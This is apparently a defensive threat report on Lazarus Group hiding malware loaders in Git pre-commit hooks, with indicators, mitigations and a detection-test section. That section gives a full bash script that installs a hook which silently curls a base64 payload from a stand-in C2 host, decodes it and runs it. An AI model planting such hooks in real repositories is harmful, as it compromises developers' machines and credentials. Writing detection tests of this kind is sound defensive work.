Lazarus Group Uses Git Hooks To Hide Malware DPRK’s Contagious Interview and TaskJacker campaign is now hiding its second‑stage loader inside git hooks that download InvisibleFerret and Beavertail malware

Summary

The North Korean Lazarus Group has updated its Contagious Interview and TaskJacker campaign by embedding a second-stage delivery mechanism inside malicious Git pre-commit and post-checkout hooks. These hooks silently retrieve platform-specific payloads from a Vercel-hosted URL and execute them across macOS, Linux, and Windows systems. By abusing trusted developer workflows and repository tooling, the attackers turn routine coding tasks into a supply-chain compromise vector that can lead to credential theft and cryptocurrency wallet compromise. Key indicators include the malicious .githooks/pre-commit script and infrastructure hosted at precommit.vercel.app.

Investigation

OpenSourceMalware researchers identified a compact .githooks/pre-commit script that detects the victim’s operating system and downloads the appropriate payload from precommit.vercel.app using curl or wget. The same script hash appeared across multiple GitHub repositories disguised as coding-assessment projects tied to crypto and DeFi themes. The infrastructure served different shell or batch payloads depending on the operating system, controlled through a flag-based query parameter. Researchers also shared GitHub code search queries that can be used to reproduce the hunt and locate similar repositories.

Mitigation

Organizations should review Git repository hooks carefully, especially files under .githooks, .husky, and .vscode/tasks.json, before allowing them to run. Developers should clone and test untrusted repositories only in isolated environments that do not contain SSH keys, wallet files, or active browser profiles. Automatic execution of Git hooks should be disabled where possible or limited to approved scripts. Security teams should also monitor outbound traffic to precommit.vercel.app and similar domains that may support malicious payload delivery.

Response

Defenders should block network communication with precommit.vercel.app and create file integrity monitoring for unexpected .githooks/pre-commit files. Alerts should also be triggered when curl or wget is executed from Git hook-related processes. Any potentially exposed credentials, tokens, or cryptocurrency wallets should be investigated and rotated immediately. Threat hunting should be expanded using the provided indicators to identify affected repositories and any systems that interacted with them.

Simulation Execution

Prerequisite: The Telemetry & Baseline Pre‑flight Check must have passed.

Rationale: This section details the precise execution of the adversary technique (TTP) designed to trigger the detection rule. The commands and narrative MUST directly reflect the TTPs identified and aim to generate the exact telemetry expected by the detection logic.

• Attack Narrative & Commands:
  An operator from the Lazarus Group compromises a developer’s workstation and injects a malicious Git pre‑commit hook. The hook is placed in a hidden “.githooks” directory to avoid casual discovery. When any git commit is performed, the hook silently contacts a C2 server, downloads a base64‑encoded payload, writes it to /tmp/.payload, makes it executable, and runs it, thereby establishing a foothold (T1620) and executing an embedded malicious payload (T1027.009).

• Regression Test Script:

  #!/bin/bash
  # -------------------------------------------------
  # Lazarus‑style malicious Git pre‑commit hook test
  # -------------------------------------------------
  
  # 1. Create hidden .githooks directory
  mkdir -p "$HOME/.githooks"
  
  # 2. Write malicious pre‑commit hook
  cat > "$HOME/.githooks/pre-commit" <<'EOF'
  #!/bin/bash
  # Malicious pre‑commit hook – downloads and executes payload
  C2_URL="http://malicious.example.com/payload.b64"
  TMPFILE="/tmp/.payload"
  
  # Download base64 payload
  curl -s -o "$TMPFILE.b64" "$C2_URL"
  # Decode and set executable
  base64 -d "$TMPFILE.b64" > "$TMPFILE"
  chmod +x "$TMPFILE"
  # Execute payload silently
  "$TMPFILE" &
  exit 0
  EOF
  
  # 3. Make the hook executable
  chmod +x "$HOME/.githooks/pre-commit"
  
  # 4. Simulate a git commit to fire the hook
  mkdir -p "$HOME/malicious-repo"
  cd "$HOME/malicious-repo"
  git init > /dev/null 2>&1
  touch README.md
  git add README.md
  git commit -m "Initial commit" > /dev/null 2>&1
  
  echo "Malicious pre‑commit hook executed (if detection works, an alert should appear)."

• Cleanup Commands:

  #!/bin/bash
  # Remove malicious artifacts
  rm -rf "$HOME/.githooks"
  rm -f "/tmp/.payload" "/tmp/.payload.b64"
  rm -rf "$HOME/malicious-repo"
  echo "Cleanup complete."